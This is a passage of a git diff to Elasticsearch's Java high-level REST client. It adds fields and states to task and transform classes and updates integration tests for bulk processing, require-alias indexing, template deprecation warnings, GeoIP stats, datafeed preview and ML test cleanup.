getStartTime(), - getRunningTimeNanos(), isCancellable(), getParentTaskId(), status, getHeaders() + getTaskId(), + getType(), + getAction(), + getDescription(), + getStartTime(), + getRunningTimeNanos(), + isCancellable(), + isCancelled(), + getParentTaskId(), + status, + getHeaders() ); } @@ -175,6 +195,7 @@ public String toString() { ", startTime=" + startTime + ", runningTimeNanos=" + runningTimeNanos + ", cancellable=" + cancellable + + ", cancelled=" + cancelled + ", parentTaskId=" + parentTaskId + ", status=" + status + ", headers=" + headers + diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/TransformStats.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/TransformStats.java index 0cdf4c2c12fdf..abdd3094b89ed 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/TransformStats.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/TransformStats.java @@ -117,7 +117,7 @@ public boolean equals(Object other) { public enum State { - STARTED, INDEXING, ABORTING, STOPPING, STOPPED, FAILED; + STARTED, INDEXING, ABORTING, STOPPING, STOPPED, FAILED, WAITING; public static State fromString(String name) { return valueOf(name.trim().toUpperCase(Locale.ROOT)); diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/pivot/GeoTileGroupSource.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/pivot/GeoTileGroupSource.java index ff4538310e591..477f4e4f048d5 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/pivot/GeoTileGroupSource.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/transform/transforms/pivot/GeoTileGroupSource.java @@ -90,7 +90,9 @@ public XContentBuilder toXContent(XContentBuilder builder, Params params) throws builder.field(PRECISION.getPreferredName(), precision); } if (geoBoundingBox != null) { - geoBoundingBox.toXContent(builder, params); + builder.startObject(GeoBoundingBox.BOUNDS_FIELD.getPreferredName()); + geoBoundingBox.toXContentFragment(builder, true); + builder.endObject(); } builder.endObject(); return builder; diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/GeoIpStatsResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/GeoIpStatsResponseTests.java new file mode 100644 index 0000000000000..48e25c935220f --- /dev/null +++ b/client/rest-high-level/src/test/java/org/elasticsearch/GeoIpStatsResponseTests.java @@ -0,0 +1,44 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch; + +import org.elasticsearch.client.GeoIpStatsResponse; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.test.AbstractXContentTestCase; + +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.stream.Collectors; + +public class GeoIpStatsResponseTests extends AbstractXContentTestCase { + + @Override + protected GeoIpStatsResponse createTestInstance() { + HashMap nodes = new HashMap<>(); + int nodeCount = randomInt(10); + for (int i = 0; i < nodeCount; i++) { + List databases = randomList(5, + () -> new GeoIpStatsResponse.DatabaseInfo(randomAlphaOfLength(5))); + nodes.put(randomAlphaOfLength(5), new GeoIpStatsResponse.NodeInfo(randomList(5, () -> randomAlphaOfLength(5)), + databases.stream().collect(Collectors.toMap(GeoIpStatsResponse.DatabaseInfo::getName, d -> d)))); + } + return new GeoIpStatsResponse(randomInt(), randomInt(), randomNonNegativeLong(), randomInt(), randomInt(), nodes); + } + + @Override + protected GeoIpStatsResponse doParseInstance(XContentParser parser) throws IOException { + return GeoIpStatsResponse.fromXContent(parser); + } + + @Override + protected boolean supportsUnknownFields() { + return false; + } +} diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorIT.java index 1a4aa3e4c8197..7ced361005c94 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorIT.java @@ -58,7 +58,7 @@ public class BulkProcessorIT extends ESRestHighLevelClientTestCase { private static BulkProcessor.Builder initBulkProcessorBuilder(BulkProcessor.Listener listener) { return BulkProcessor.builder( (request, bulkListener) -> highLevelClient().bulkAsync(request, RequestOptions.DEFAULT, - bulkListener), listener); + bulkListener), listener, "BulkProcessorIT"); } public void testThatBulkProcessorCountIsCorrect() throws Exception { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorRetryIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorRetryIT.java index 9fcf93c7dfae2..a7693fe28568c 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorRetryIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/BulkProcessorRetryIT.java @@ -37,8 +37,8 @@ public class BulkProcessorRetryIT extends ESRestHighLevelClientTestCase { private static final String INDEX_NAME = "index"; private static BulkProcessor.Builder initBulkProcessorBuilder(BulkProcessor.Listener listener) { - return BulkProcessor.builder( - (request, bulkListener) -> highLevelClient().bulkAsync(request, RequestOptions.DEFAULT, bulkListener), listener); + return BulkProcessor.builder((request, bulkListener) + -> highLevelClient().bulkAsync(request, RequestOptions.DEFAULT, bulkListener), listener, "BulkProcessorRetryIT"); } public void testBulkRejectionLoadWithoutBackoff() throws Exception { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/ClusterClientIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/ClusterClientIT.java index 708a2e5e067db..cd98a122b4db7 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/ClusterClientIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/ClusterClientIT.java @@ -386,4 +386,5 @@ public void testComponentTemplates() throws Exception { assertFalse(exist); } + } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/CrudIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/CrudIT.java index 4a98a70b2b15b..27e04881d5896 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/CrudIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/CrudIT.java @@ -539,6 +539,19 @@ public void testIndex() throws IOException { assertEquals("Elasticsearch exception [type=version_conflict_engine_exception, reason=[with_create_op_type]: " + "version conflict, document already exists (current version [1])]", exception.getMessage()); } + { + ElasticsearchStatusException exception = expectThrows(ElasticsearchStatusException.class, () -> { + IndexRequest indexRequest = new IndexRequest("index").id("require_alias"); + indexRequest.source(XContentBuilder.builder(xContentType.xContent()).startObject().field("field", "test").endObject()); + indexRequest.setRequireAlias(true); + + execute(indexRequest, highLevelClient()::index, highLevelClient()::indexAsync); + }); + + assertEquals(RestStatus.NOT_FOUND, exception.status()); + assertEquals("Elasticsearch exception [type=index_not_found_exception, reason=no such index [index] and [require_alias]" + + " request flag is [true] and [index] is not an alias]", exception.getMessage()); + } } public void testUpdate() throws IOException { @@ -717,6 +730,17 @@ public void testUpdate() throws IOException { assertEquals("Update request cannot have different content types for doc [JSON] and upsert [YAML] documents", exception.getMessage()); } + { + ElasticsearchStatusException exception = expectThrows(ElasticsearchStatusException.class, () -> { + UpdateRequest updateRequest = new UpdateRequest("index", "id"); + updateRequest.setRequireAlias(true); + updateRequest.doc(new IndexRequest().source(Collections.singletonMap("field", "doc"), XContentType.JSON)); + execute(updateRequest, highLevelClient()::update, highLevelClient()::updateAsync); + }); + assertEquals(RestStatus.NOT_FOUND, exception.status()); + assertEquals("Elasticsearch exception [type=index_not_found_exception, reason=no such index [index] and [require_alias]" + + " request flag is [true] and [index] is not an alias]", exception.getMessage()); + } } public void testBulk() throws IOException { @@ -810,7 +834,7 @@ public void afterBulk(long executionId, BulkRequest request, Throwable failure) try (BulkProcessor processor = BulkProcessor.builder( (request, bulkListener) -> highLevelClient().bulkAsync(request, - RequestOptions.DEFAULT, bulkListener), listener) + RequestOptions.DEFAULT, bulkListener), listener, "CrudIT") .setConcurrentRequests(0) .setBulkSize(new ByteSizeValue(5, ByteSizeUnit.GB)) .setBulkActions(nbItems + 1) diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/FeaturesIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/FeaturesIT.java new file mode 100644 index 0000000000000..9af22ebcafe20 --- /dev/null +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/FeaturesIT.java @@ -0,0 +1,61 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client; + +import org.elasticsearch.client.feature.GetFeaturesRequest; +import org.elasticsearch.client.feature.GetFeaturesResponse; +import org.elasticsearch.client.feature.ResetFeaturesRequest; +import org.elasticsearch.client.feature.ResetFeaturesResponse; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.search.SearchModule; + +import java.io.IOException; +import java.util.Collections; + +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.notNullValue; + +public class FeaturesIT extends ESRestHighLevelClientTestCase { + public void testGetFeatures() throws IOException { + GetFeaturesRequest request = new GetFeaturesRequest(); + + GetFeaturesResponse response = execute(request, + highLevelClient().features()::getFeatures, highLevelClient().features()::getFeaturesAsync); + + assertThat(response, notNullValue()); + assertThat(response.getFeatures(), notNullValue()); + assertThat(response.getFeatures().size(), greaterThan(1)); + assertTrue(response.getFeatures().stream().anyMatch(feature -> "tasks".equals(feature.getFeatureName()))); + } + + /** + * This test assumes that at least one of our defined features should reset successfully. + * Since plugins should be testing their own reset operations if they use something + * other than the default, this test tolerates failures in the response from the + * feature reset API. We just need to check that we can reset the "tasks" system index. + */ + public void testResetFeatures() throws IOException { + ResetFeaturesRequest request = new ResetFeaturesRequest(); + + // need superuser privileges to execute the reset + RestHighLevelClient adminHighLevelClient = new RestHighLevelClient( + adminClient(), + (client) -> {}, + new SearchModule(Settings.EMPTY, Collections.emptyList()).getNamedXContents()); + ResetFeaturesResponse response = execute(request, + adminHighLevelClient.features()::resetFeatures, + adminHighLevelClient.features()::resetFeaturesAsync); + + assertThat(response, notNullValue()); + assertThat(response.getFeatureResetStatuses(), notNullValue()); + assertThat(response.getFeatureResetStatuses().size(), greaterThan(1)); + assertTrue(response.getFeatureResetStatuses().stream().anyMatch( + feature -> "tasks".equals(feature.getFeatureName()) && "SUCCESS".equals(feature.getStatus()))); + } +} diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/IndicesClientIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/IndicesClientIT.java index 4c81a29e39789..784ee3737981d 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/IndicesClientIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/IndicesClientIT.java @@ -104,6 +104,7 @@ import org.elasticsearch.index.query.QueryBuilder; import org.elasticsearch.index.query.QueryBuilders; import org.elasticsearch.rest.RestStatus; +import org.elasticsearch.rest.action.admin.indices.RestPutIndexTemplateAction; import java.io.IOException; import java.util.Arrays; @@ -135,6 +136,12 @@ public class IndicesClientIT extends ESRestHighLevelClientTestCase { + public static final RequestOptions LEGACY_TEMPLATE_OPTIONS = RequestOptions.DEFAULT.toBuilder() + .setWarningsHandler(warnings -> List.of(RestPutIndexTemplateAction.DEPRECATION_WARNING).equals(warnings) == false).build(); + + public static final String FROZEN_INDICES_DEPRECATION_WARNING = "Frozen indices are deprecated because they provide no benefit given " + + "improvements in heap memory utilization. They will be removed in a future release."; + public void testIndicesExists() throws IOException { // Index present { @@ -1279,7 +1286,7 @@ public void testPutTemplate() throws Exception { .alias(new Alias("alias-1").indexRouting("abc")).alias(new Alias("{index}-write").searchRouting("xyz")); AcknowledgedResponse putTemplateResponse = execute(putTemplateRequest, - highLevelClient().indices()::putTemplate, highLevelClient().indices()::putTemplateAsync); + highLevelClient().indices()::putTemplate, highLevelClient().indices()::putTemplateAsync, LEGACY_TEMPLATE_OPTIONS); assertThat(putTemplateResponse.isAcknowledged(), equalTo(true)); Map templates = getAsMap("/_template/my-template"); @@ -1330,20 +1337,23 @@ public void testPutTemplateBadRequests() throws Exception { // Create-only specified but an template exists already PutIndexTemplateRequest goodTemplate = new PutIndexTemplateRequest("t2", List.of("qa-*", "prod-*")); - assertTrue(execute(goodTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync).isAcknowledged()); + assertTrue(execute(goodTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync, LEGACY_TEMPLATE_OPTIONS) + .isAcknowledged()); goodTemplate.create(true); ElasticsearchException alreadyExistsError = expectThrows(ElasticsearchException.class, - () -> execute(goodTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync)); + () -> execute(goodTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync, LEGACY_TEMPLATE_OPTIONS)); assertThat(alreadyExistsError.getDetailedMessage(), containsString("[type=illegal_argument_exception, reason=index_template [t2] already exists]")); goodTemplate.create(false); - assertTrue(execute(goodTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync).isAcknowledged()); + assertTrue(execute(goodTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync, LEGACY_TEMPLATE_OPTIONS) + .isAcknowledged()); // Rejected due to unknown settings PutIndexTemplateRequest unknownSettingTemplate = new PutIndexTemplateRequest("t3", List.of("any")) .settings(Settings.builder().put("this-setting-does-not-exist", 100)); ElasticsearchStatusException unknownSettingError = expectThrows(ElasticsearchStatusException.class, - () -> execute(unknownSettingTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync)); + () -> execute(unknownSettingTemplate, client.indices()::putTemplate, client.indices()::putTemplateAsync, + LEGACY_TEMPLATE_OPTIONS)); assertThat(unknownSettingError.getDetailedMessage(), containsString("unknown setting [index.this-setting-does-not-exist]")); } @@ -1394,12 +1404,13 @@ public void testCRUDIndexTemplate() throws Exception { PutIndexTemplateRequest putTemplate1 = new PutIndexTemplateRequest("template-1", List.of("pattern-1", "name-1")) .alias(new Alias("alias-1")); - assertThat(execute(putTemplate1, client.indices()::putTemplate, client.indices()::putTemplateAsync).isAcknowledged(), + assertThat(execute(putTemplate1, client.indices()::putTemplate, client.indices()::putTemplateAsync, LEGACY_TEMPLATE_OPTIONS) + .isAcknowledged(), equalTo(true)); PutIndexTemplateRequest putTemplate2 = new PutIndexTemplateRequest("template-2", List.of("pattern-2", "name-2")) .mapping("{\"properties\": { \"name\": { \"type\": \"text\" }}}", XContentType.JSON) .settings(Settings.builder().put("number_of_shards", "2").put("number_of_replicas", "0")); - assertThat(execute(putTemplate2, client.indices()::putTemplate, client.indices()::putTemplateAsync) + assertThat(execute(putTemplate2, client.indices()::putTemplate, client.indices()::putTemplateAsync, LEGACY_TEMPLATE_OPTIONS) .isAcknowledged(), equalTo(true)); GetIndexTemplatesResponse getTemplate1 = execute( @@ -1474,7 +1485,14 @@ public void testIndexTemplatesExist() throws Exception { final PutIndexTemplateRequest putRequest = new PutIndexTemplateRequest("template-" + suffix, List.of("pattern-" + suffix, "name-" + suffix)) .alias(new Alias("alias-" + suffix)); - assertTrue(execute(putRequest, client.indices()::putTemplate, client.indices()::putTemplateAsync).isAcknowledged()); + assertTrue( + execute( + putRequest, + client.indices()::putTemplate, + client.indices()::putTemplateAsync, + LEGACY_TEMPLATE_OPTIONS + ).isAcknowledged() + ); final IndexTemplatesExistRequest existsRequest = new IndexTemplatesExistRequest("template-" + suffix); assertTrue(execute(existsRequest, client.indices()::existsTemplate, client.indices()::existsTemplateAsync)); @@ -1515,13 +1533,16 @@ public void testFreezeAndUnfreeze() throws IOException { createIndex("test", Settings.EMPTY); RestHighLevelClient client = highLevelClient(); + final RequestOptions freezeIndexOptions = RequestOptions.DEFAULT.toBuilder() + .setWarningsHandler(warnings -> List.of(FROZEN_INDICES_DEPRECATION_WARNING).equals(warnings) == false).build(); + ShardsAcknowledgedResponse freeze = execute(new FreezeIndexRequest("test"), client.indices()::freeze, - client.indices()::freezeAsync); + client.indices()::freezeAsync, freezeIndexOptions); assertTrue(freeze.isShardsAcknowledged()); assertTrue(freeze.isAcknowledged()); ShardsAcknowledgedResponse unfreeze = execute(new UnfreezeIndexRequest("test"), client.indices()::unfreeze, - client.indices()::unfreezeAsync); + client.indices()::unfreezeAsync, freezeIndexOptions); assertTrue(unfreeze.isShardsAcknowledged()); assertTrue(unfreeze.isAcknowledged()); } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/IngestClientIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/IngestClientIT.java index 1cb1ab8860899..48e5e3f1e05f6 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/IngestClientIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/IngestClientIT.java @@ -18,6 +18,7 @@ import org.elasticsearch.action.ingest.SimulatePipelineRequest; import org.elasticsearch.action.ingest.SimulatePipelineResponse; import org.elasticsearch.action.support.master.AcknowledgedResponse; +import org.elasticsearch.client.core.MainRequest; import org.elasticsearch.common.bytes.BytesReference; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.XContentType; @@ -158,7 +159,7 @@ private void testSimulatePipeline(boolean isVerbose, } } else { assertThat(results.get(0), instanceOf(SimulateDocumentBaseResult.class)); - SimulateDocumentBaseResult baseResult = (SimulateDocumentBaseResult)results.get(0); + SimulateDocumentBaseResult baseResult = (SimulateDocumentBaseResult) results.get(0); if (isFailure) { assertNotNull(baseResult.getFailure()); assertThat(baseResult.getFailure().getMessage(), @@ -177,4 +178,15 @@ private void testSimulatePipeline(boolean isVerbose, } } } + + public void testGeoIpStats() throws IOException { + GeoIpStatsResponse response = execute(new MainRequest(), highLevelClient().ingest()::geoIpStats, + highLevelClient().ingest()::geoIpStatsAsync); + assertEquals(0, response.getDatabasesCount()); + assertEquals(0, response.getSkippedDownloads()); + assertEquals(0, response.getSuccessfulDownloads()); + assertEquals(0, response.getFailedDownloads()); + assertEquals(0, response.getTotalDownloadTime()); + assertEquals(0, response.getNodes().size()); + } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/MLRequestConvertersTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/MLRequestConvertersTests.java index 43c20305239ab..3ddff48f46035 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/MLRequestConvertersTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/MLRequestConvertersTests.java @@ -91,6 +91,7 @@ import org.elasticsearch.client.ml.job.config.AnalysisConfig; import org.elasticsearch.client.ml.job.config.Detector; import org.elasticsearch.client.ml.job.config.Job; +import org.elasticsearch.client.ml.job.config.JobTests; import org.elasticsearch.client.ml.job.config.JobUpdate; import org.elasticsearch.client.ml.job.config.JobUpdateTests; import org.elasticsearch.client.ml.job.config.MlFilter; @@ -390,11 +391,24 @@ public void testGetDatafeedStats() { assertEquals(Boolean.toString(true), request.getParameters().get("allow_no_match")); } - public void testPreviewDatafeed() { + public void testPreviewDatafeed() throws IOException { PreviewDatafeedRequest datafeedRequest = new PreviewDatafeedRequest("datafeed_1"); Request request = MLRequestConverters.previewDatafeed(datafeedRequest); - assertEquals(HttpGet.METHOD_NAME, request.getMethod()); + assertEquals(HttpPost.METHOD_NAME, request.getMethod()); assertEquals("/_ml/datafeeds/" + datafeedRequest.getDatafeedId() + "/_preview", request.getEndpoint()); + assertThat(request.getEntity(), is(nullValue())); + + datafeedRequest = new PreviewDatafeedRequest( + DatafeedConfigTests.createRandom(), + randomBoolean() ? null : JobTests.createRandomizedJob() + ); + request = MLRequestConverters.previewDatafeed(datafeedRequest); + assertEquals(HttpPost.METHOD_NAME, request.getMethod()); + assertEquals("/_ml/datafeeds/_preview", request.getEndpoint()); + try (XContentParser parser = createParser(JsonXContent.jsonXContent, request.getEntity().getContent())) { + PreviewDatafeedRequest parsedDatafeedRequest = PreviewDatafeedRequest.PARSER.apply(parser, null); + assertThat(parsedDatafeedRequest, equalTo(datafeedRequest)); + } } public void testDeleteForecast() { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningGetResultsIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningGetResultsIT.java index db7d9632a9c61..2612b4d976b11 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningGetResultsIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningGetResultsIT.java @@ -193,7 +193,7 @@ private void addModelSnapshotIndexRequests(BulkRequest bulkRequest) { @After public void deleteJob() throws IOException { - new MlTestStateCleaner(logger, highLevelClient().machineLearning()).clearMlMetadata(); + new MlTestStateCleaner(logger, highLevelClient()).clearMlMetadata(); } public void testGetModelSnapshots() throws IOException { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningIT.java index 230552bbf9a20..48487e10dbcf8 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/MachineLearningIT.java @@ -15,6 +15,7 @@ import org.elasticsearch.action.get.GetRequest; import org.elasticsearch.action.get.GetResponse; import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.ingest.DeletePipelineRequest; import org.elasticsearch.action.ingest.PutPipelineRequest; import org.elasticsearch.action.support.WriteRequest; import org.elasticsearch.action.support.master.AcknowledgedResponse; @@ -225,7 +226,8 @@ public class MachineLearningIT extends ESRestHighLevelClientTestCase { @After public void cleanUp() throws IOException { - new MlTestStateCleaner(logger, highLevelClient().machineLearning()).clearMlMetadata(); + ensureNoInitializingShards(); + new MlTestStateCleaner(logger, highLevelClient()).clearMlMetadata(); } public void testPutJob() throws Exception { @@ -1824,7 +1826,7 @@ public void testEvaluateDataFrame_OutlierDetection() throws IOException { AucRocResult aucRocResult = evaluateDataFrameResponse.getMetricByName(org.elasticsearch.client.ml.dataframe.evaluation.outlierdetection.AucRocMetric.NAME); assertThat(aucRocResult.getMetricName(), equalTo(AucRocMetric.NAME)); - assertThat(aucRocResult.getValue(), closeTo(0.70025, 1e-9)); + assertThat(aucRocResult.getValue(), closeTo(0.70, 1e-3)); assertNotNull(aucRocResult.getCurve()); List curve = aucRocResult.getCurve(); AucRocPoint curvePointAtThreshold0 = curve.stream().filter(p -> p.getThreshold() == 0.0).findFirst().get(); @@ -1959,7 +1961,7 @@ public void testEvaluateDataFrame_Classification() throws IOException { AucRocResult aucRocResult = evaluateDataFrameResponse.getMetricByName(AucRocMetric.NAME); assertThat(aucRocResult.getMetricName(), equalTo(AucRocMetric.NAME)); - assertThat(aucRocResult.getValue(), closeTo(0.6425, 1e-9)); + assertThat(aucRocResult.getValue(), closeTo(0.619, 1e-3)); assertNotNull(aucRocResult.getCurve()); } { // Accuracy @@ -2380,7 +2382,7 @@ public void testPutTrainedModel() throws Exception { assertThat(createdModel.getModelId(), equalTo(modelIdCompressed)); GetTrainedModelsResponse getTrainedModelsResponse = execute( - new GetTrainedModelsRequest(modelIdCompressed).setDecompressDefinition(true).setIncludeDefinition(true), + new GetTrainedModelsRequest(modelIdCompressed).setDecompressDefinition(true).includeDefinition(), machineLearningClient::getTrainedModels, machineLearningClient::getTrainedModelsAsync); @@ -2492,12 +2494,17 @@ public void testGetTrainedModelsStats() throws Exception { " }\n" + " }\n" + " }]}\n"; + String pipelineId = "regression-stats-pipeline"; highLevelClient().ingest().putPipeline( - new PutPipelineRequest("regression-stats-pipeline", + new PutPipelineRequest(pipelineId, new BytesArray(regressionPipeline.getBytes(StandardCharsets.UTF_8)), XContentType.JSON), RequestOptions.DEFAULT); + highLevelClient().index( + new IndexRequest("trained-models-stats-test-index").source("{\"col1\": 1}", XContentType.JSON).setPipeline(pipelineId), + RequestOptions.DEFAULT + ); { GetTrainedModelsStatsResponse getTrainedModelsStatsResponse = execute( GetTrainedModelsStatsRequest.getAllTrainedModelStatsRequest(), @@ -2527,6 +2534,11 @@ public void testGetTrainedModelsStats() throws Exception { .collect(Collectors.toList()), containsInAnyOrder(modelIdPrefix + 1, modelIdPrefix + 2)); } + highLevelClient().ingest().deletePipeline(new DeletePipelineRequest(pipelineId), RequestOptions.DEFAULT); + assertBusy(() -> { + assertTrue(indexExists(".ml-stats-000001")); + ensureGreen(".ml-stats-*"); + }); } public void testDeleteTrainedModel() throws Exception { @@ -2535,7 +2547,7 @@ public void testDeleteTrainedModel() throws Exception { putTrainedModel(modelId); GetTrainedModelsResponse getTrainedModelsResponse = execute( - new GetTrainedModelsRequest(modelId + "*").setIncludeDefinition(false).setAllowNoMatch(true), + new GetTrainedModelsRequest(modelId + "*").setAllowNoMatch(true), machineLearningClient::getTrainedModels, machineLearningClient::getTrainedModelsAsync); @@ -2548,7 +2560,7 @@ public void testDeleteTrainedModel() throws Exception { assertTrue(deleteTrainedModelResponse.isAcknowledged()); getTrainedModelsResponse = execute( - new GetTrainedModelsRequest(modelId + "*").setIncludeDefinition(false).setAllowNoMatch(true), + new GetTrainedModelsRequest(modelId + "*").setAllowNoMatch(true), machineLearningClient::getTrainedModels, machineLearningClient::getTrainedModelsAsync); @@ -2560,7 +2572,7 @@ public void testGetPrepackagedModels() throws Exception { MachineLearningClient machineLearningClient = highLevelClient().machineLearning(); GetTrainedModelsResponse getTrainedModelsResponse = execute( - new GetTrainedModelsRequest("lang_ident_model_1").setIncludeDefinition(true), + new GetTrainedModelsRequest("lang_ident_model_1").includeDefinition(), machineLearningClient::getTrainedModels, machineLearningClient::getTrainedModelsAsync); diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/MlTestStateCleaner.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/MlTestStateCleaner.java index 4422b1cf4032e..f7e42db2ee810 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/MlTestStateCleaner.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/MlTestStateCleaner.java @@ -8,116 +8,61 @@ package org.elasticsearch.client; import org.apache.logging.log4j.Logger; -import org.elasticsearch.client.ml.CloseJobRequest; -import org.elasticsearch.client.ml.DeleteDataFrameAnalyticsRequest; -import org.elasticsearch.client.ml.DeleteDatafeedRequest; -import org.elasticsearch.client.ml.DeleteJobRequest; -import org.elasticsearch.client.ml.GetDataFrameAnalyticsRequest; -import org.elasticsearch.client.ml.GetDataFrameAnalyticsResponse; -import org.elasticsearch.client.ml.GetDatafeedRequest; -import org.elasticsearch.client.ml.GetDatafeedResponse; -import org.elasticsearch.client.ml.GetJobRequest; -import org.elasticsearch.client.ml.GetJobResponse; -import org.elasticsearch.client.ml.StopDataFrameAnalyticsRequest; -import org.elasticsearch.client.ml.StopDatafeedRequest; -import org.elasticsearch.client.ml.datafeed.DatafeedConfig; -import org.elasticsearch.client.ml.dataframe.DataFrameAnalyticsConfig; -import org.elasticsearch.client.ml.job.config.Job; +import org.apache.logging.log4j.message.ParameterizedMessage; +import org.elasticsearch.action.ingest.DeletePipelineRequest; +import org.elasticsearch.client.core.PageParams; +import org.elasticsearch.client.feature.ResetFeaturesRequest; +import org.elasticsearch.client.ml.GetTrainedModelsStatsRequest; import java.io.IOException; +import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; +import java.util.stream.Stream; /** - * Cleans up and ML resources created during tests + * Cleans up ML resources created during tests */ public class MlTestStateCleaner { private final Logger logger; - private final MachineLearningClient mlClient; + private final RestHighLevelClient client; - public MlTestStateCleaner(Logger logger, MachineLearningClient mlClient) { + public MlTestStateCleaner(Logger logger, RestHighLevelClient client) { this.logger = logger; - this.mlClient = mlClient; + this.client = client; } public void clearMlMetadata() throws IOException { - deleteAllDatafeeds(); - deleteAllJobs(); - deleteAllDataFrameAnalytics(); + deleteAllTrainedModelIngestPipelines(); + // This resets all features, not just ML, but they should have been getting reset between tests anyway so it shouldn't matter + client.features().resetFeatures(new ResetFeaturesRequest(), RequestOptions.DEFAULT); } - private void deleteAllDatafeeds() throws IOException { - stopAllDatafeeds(); - - GetDatafeedResponse getDatafeedResponse = mlClient.getDatafeed(GetDatafeedRequest.getAllDatafeedsRequest(), RequestOptions.DEFAULT); - for (DatafeedConfig datafeed : getDatafeedResponse.datafeeds()) { - mlClient.deleteDatafeed(new DeleteDatafeedRequest(datafeed.getId()), RequestOptions.DEFAULT); - } - } - - private void stopAllDatafeeds() { - StopDatafeedRequest stopAllDatafeedsRequest = StopDatafeedRequest.stopAllDatafeedsRequest(); - try { - mlClient.stopDatafeed(stopAllDatafeedsRequest, RequestOptions.DEFAULT); - } catch (Exception e1) { - logger.warn("failed to stop all datafeeds. Forcing stop", e1); - try { - stopAllDatafeedsRequest.setForce(true); - mlClient.stopDatafeed(stopAllDatafeedsRequest, RequestOptions.DEFAULT); - } catch (Exception e2) { - logger.warn("Force-closing all data feeds failed", e2); - } - throw new RuntimeException("Had to resort to force-stopping datafeeds, something went wrong?", e1); - } - } - - private void deleteAllJobs() throws IOException { - closeAllJobs(); - - GetJobResponse getJobResponse = mlClient.getJob(GetJobRequest.getAllJobsRequest(), RequestOptions.DEFAULT); - for (Job job : getJobResponse.jobs()) { - mlClient.deleteJob(new DeleteJobRequest(job.getId()), RequestOptions.DEFAULT); - } - } - - private void closeAllJobs() { - CloseJobRequest closeAllJobsRequest = CloseJobRequest.closeAllJobsRequest(); - try { - mlClient.closeJob(closeAllJobsRequest, RequestOptions.DEFAULT); - } catch (Exception e1) { - logger.warn("failed to close all jobs. Forcing closed", e1); - 